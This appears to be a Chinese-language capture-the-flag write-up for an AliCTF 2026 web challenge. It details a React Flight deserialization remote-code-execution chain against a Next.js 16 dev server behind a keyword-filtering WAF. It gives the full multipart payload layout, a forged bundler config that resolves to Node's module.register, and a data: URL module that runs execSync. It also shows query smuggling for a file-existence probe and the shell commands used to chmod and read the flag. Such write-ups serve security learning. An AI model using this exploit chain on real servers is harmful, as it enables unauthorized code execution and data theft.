AliCTF 2026 Web - next-challenge · React2Shell 机制梳理

目录

日期: 2026-02-05
环境: http://223.6.249.127:28433
技术栈: Node.js v20.19.6 alpine x64, Next.js 16.0.6 dev, React 19.2.0
题目类型: Web, 500 pts

结论

通过 React Flight 反序列化触发 server reference,加上 Hello() 的模板字符串 toString sink,实现了不依赖 constructor/__proto__/prototype 的 RCE,最终读取 flag:

alictf{bef376de-4b8d-4dfb-bde1-1ad909c525b6}


目录

  • 题目概览
  • WAF 行为与约束
  • 可用攻击面
  • 前期信息收集与尝试
  • Flight 反序列化与内存布局
  • 关键突破
  • 利用链构造
  • 拿 flag
  • 复现脚本与注意事项
  • 参考资料

题目概览

题面强调“next WAF”,并提示:

  • WAF 限制很死
  • 预期不靠 Python 和 Node 解析差异
  • 需要理解 React 漏洞的工作原理

源码下载后可知:业务逻辑几乎为零,核心就是外层 WAF 的强约束代理 + 内层 Next dev 暴露的 Server Actions 和 dev-only 端点。


WAF 行为与约束

WAF 源码在 extracted/next-challenge/waf.py,关键点如下。

Header 白名单

只转发少量 header,且允许透传 next-action,因此 Server Actions 是稳定入口。

ALLOWED_HEADERS = {
  "host","user-agent","accept","accept-language","accept-encoding",
  "cookie","connection","cache-control","pragma","next-action",
}

Query string 被丢弃

WAF 构造后端 URL 时忽略 query string,因此需要 query 的 dev 端点必须用 query smuggling:

/__nextjs_source-map%3ffilename=/etc/passwd

POST 只允许两种 Content-Type

  • text/plain 且 body 必须是合法 JSON
  • multipart/form-data 且每个字段 value 必须能 json.loads 成功,再 json.dumps 重建转发

这会消除很多字节级技巧:payload 总会经历一次 Python JSON 解析与重建。

递归关键字过滤

WAF 递归检查所有字符串与 JSON 子结构,禁止关键字:

FORBIDDEN_KEYWORDS = ["__proto__", "constructor", "prototype", "\\u"]

影响:

  • 传统 React2Shell(靠 constructor:constructor 链到 Function)在 body 阶段就会被 403 拦截
  • \u 形式的逃逸也被 \\u 规则稳定封死

结论:不要试图“绕过关键字”,而是要找一条不需要这些关键字的执行路径。


可用攻击面

Server Actions

/_next/static/chunks/app/page.js 中包含:

__next_internal_action_entry_do_not_use__ {"<id>":"Name", ...}

本环境解析得到:

  • Hello: 4093c8cb36481b80380d3037be7faffc9b516a2a27
  • GetSource: 00e21c4edbc7e418e886d76931c2c70bb3c6ca2589

dev-only 端点

  • GET /__nextjs_source-map?filename=... 通过 %3f smuggling 使用
  • POST /__nextjs_original-stack-frames 可用于把 webpack-internal://... 定位回源码并得到 code frame

前期信息收集与尝试

1. 源码泄露

利用 Hello() 的模板字符串 stringify sink 触发 server function stringify,可泄露 GetSource() 源码(CVE-2025-55183 风格)。

这一步的意义主要是确认:

  • Server Actions 确实启用
  • 响应为 text/x-component
  • WAF 放行 next-action header

2. __nextjs_source-map 作为 oracle

由于 query 被剥离,需要:

/__nextjs_source-map%3ffilename=/path

观测到三个稳定信号:

  • 500 + ENOENT: 路径不存在
  • 500 + EACCES: 路径存在但不可读
  • 204: 可读但不是 source map 或不适用

例如:

  • /root/flag 返回 EACCES,说明存在但 node 进程不可读
  • /etc/passwd 返回 204,说明可读但不返回内容

因此 __nextjs_source-map 适合作为存在性探针,但不能直接读任意文件。

3. __nextjs_original-stack-frames 的价值

它不会直接读任意文件内容,但能把 action 的 webpack-internal://... 映射回 app/actions.ts 等源码位置,辅助确认 sink 的具体行列与调用栈。


Flight 反序列化与内存布局

这题要求理解“React 漏洞工作原理”,核心是 Flight 协议的反序列化如何构造对象图,并在何处会调用函数。

下面用 “内存布局” 的视角描述我们最终利用到的结构。

关键对象

可以把服务端反序列化抽象成三类对象:

  • Response
    • _bundlerConfig 服务端 manifest,决定 $F 如何解析到具体模块导出
    • _prefix multipart key 前缀
    • _formData FormData 存储 multipart 字段
    • _chunks Map,id -> Chunk
  • Chunk
    • status 状态机:pending, resolved_model, fulfilled, rejected, blocked, cyclic
    • value/reason 保存解析内容或异常
    • then 类似 Promise 的 then,驱动后续解析
  • FormData
    • 保存我们发送的字段 "0", "1", "2" … 及其 JSON 字符串值

Flight token 与函数触发点

服务端的 parseModelString 在遇到以 $ 开头的字符串时,会按第二个字符进行分派:

  • $@<hex> 引用 chunk
  • $F<hex> 加载 server reference,并触发 loadServerReference,最终 requireModule 得到函数并 bind 上 bound 参数

我们利用的是 $F

我们构造的对象图

目标:让服务端在反序列化过程中加载一个我们指定的函数导出,然后通过 Hello() 的模板字符串触发调用。

关键技巧:

  1. 用一个真实 chunk(通过 $@3)借用其 then,避免自己构造 thenable 时出现不稳定行为
  2. 构造 fake Response._bundlerConfig,让 $F 能解析到我们指定的 (moduleId, exportName)

最终 multipart 字段可以理解为如下布局:

0 = "$1"
1 = {"status":"resolved_model","reason":-1,"_response":"$4","value":"[...args...]","then":"$2:then"}
2 = "$@3"
3 = []
4 = {"_prefix":"","_formData":"$2:_response:_formData","_chunks":"$2:_response:_chunks",
     "_bundlerConfig":{"cp":{"id":"<moduleId>","name":"<exportName>","chunks":[]}}}
6 = {"id":"cp","bound":[...]}

可以画成更直观的对象图:

Chunk#3 (real)
  └─ provides then() and _response

Chunk#1 (fake, resolved_model)
  ├─ then -> Chunk#3.then
  └─ _response -> Response#4 (fake)

Response#4 (fake)
  ├─ _formData -> Chunk#3._response._formData
  ├─ _chunks   -> Chunk#3._response._chunks
  └─ _bundlerConfig (controlled)
       └─ "cp" -> { id: <moduleId>, name: <exportName>, chunks: [] }

$F6
  └─ resolves id "cp" via Response#4._bundlerConfig
     └─ requireModule -> exported function

这就是本题最重要的“内存布局”:不是某个关键字绕过,而是理解 Response/Chunk/FormData 的连接关系,控制 $F 的解析结果。


关键突破

WAF 禁掉了 constructor/__proto__/prototype,因此典型的 React2Shell RCE 链断了。我们需要一个不包含敏感关键字、但仍能触发函数调用的 sink。

1. Hello() 模板字符串是稳定 sink

Hello() 实现:

'use server'
export async function Hello(input: string): Promise<string> {
  return `hello ${input}!`;
}

input 是对象时,JS 会执行 ToPrimitive,优先调用 input.toString()
因此只要能让 input.toString 变成一个 server reference,我们就得到了一个可控的函数调用点。

2. 利用 Node 20 的 module.register

在探索可用模块导出时发现:通过 fake _bundlerConfig 可以加载 Node 内置模块 module 的导出 register

module.register(specifier, ...) 支持 data: URL 的 ESM。
ESM 会立即 evaluate,这就等价于“执行任意 JS”。

最小验证 payload:

throw new Error("PWN")

服务端会返回 stack,其中 file 是 data:text/javascript,...,证明代码被执行。

3. 命令执行与回显

data: 模块内:

import { execSync } from 'node:child_process';
throw new Error(execSync("id", { encoding: "utf8" }));

通过 throw new Error(stdout) 把输出回显到 action 响应中,完全不需要额外通道。

这条链路的特点:

  • 只用到了 module.registerchild_process.execSync
  • 不包含 WAF 禁止的关键字
  • 不依赖解析差异

利用链构造

整体链路如下:

  1. 通过 multipart Flight payload 构造一个参数对象 input = { toString: "$F6" }
  2. $F6 解析到 module.register
  3. data:text/javascript,... 作为 bound 参数传给 module.register
  4. Hello() 模板字符串触发 input.toString(),从而调用 module.register(data:...)
  5. data: 模块里执行 execSync(cmd)throw new Error(output)
  6. Next dev 把 error message 编进 text/x-component 响应中,获得命令输出

拿 flag

1. 验证 RCE

python3 remote_lab.py --base-url http://223.6.249.127:28433 rce 'id'

回显:

uid=1000(node) gid=1000(node) groups=1000(node),1000(node)

2. 枚举根目录

python3 remote_lab.py --base-url http://223.6.249.127:28433 rce 'ls -la /'

发现:

---------- 1 node node 44 ... flag-F57pkS3zmrQjeZLq

关键点:owner 是 node,但权限位 000。owner 是 node 意味着不需要提权,可以直接 chmod 改权限再读。

3. chmod 并读取

python3 remote_lab.py --base-url http://223.6.249.127:28433 \
  rce 'chmod 644 /flag-F57pkS3zmrQjeZLq && cat /flag-F57pkS3zmrQjeZLq'

得到:

alictf{bef376de-4b8d-4dfb-bde1-1ad909c525b6}

复现脚本与注意事项

本仓库的 remote_lab.py 已集成复现:

  • actions 枚举 action id
  • inspect 通过 util.inspect 打印对象图,用于理解内存布局
  • rce 通过 module.register(data:...) 执行命令并回显

环境刷新后一般会变化:

  • 端口变化
  • action id 变化
  • flag 文件名变化

因此复现流程建议固定为:

  1. actions
  2. rce 'ls -la /' 找 flag 文件名
  3. rce 'chmod 644 /flag-... && cat /flag-...'

参考资料

用于理解 React2Shell 与 Flight 反序列化机制,但注意本题 WAF 会阻断传统 constructor:constructor 链路:

  • p3ta00 的 React2Shell 分析文章与 PoC
  • React 官方关于 RSC 安全更新的 blog
  • Vercel security bulletin
  • GitHub 上的 react2shell PoC 仓库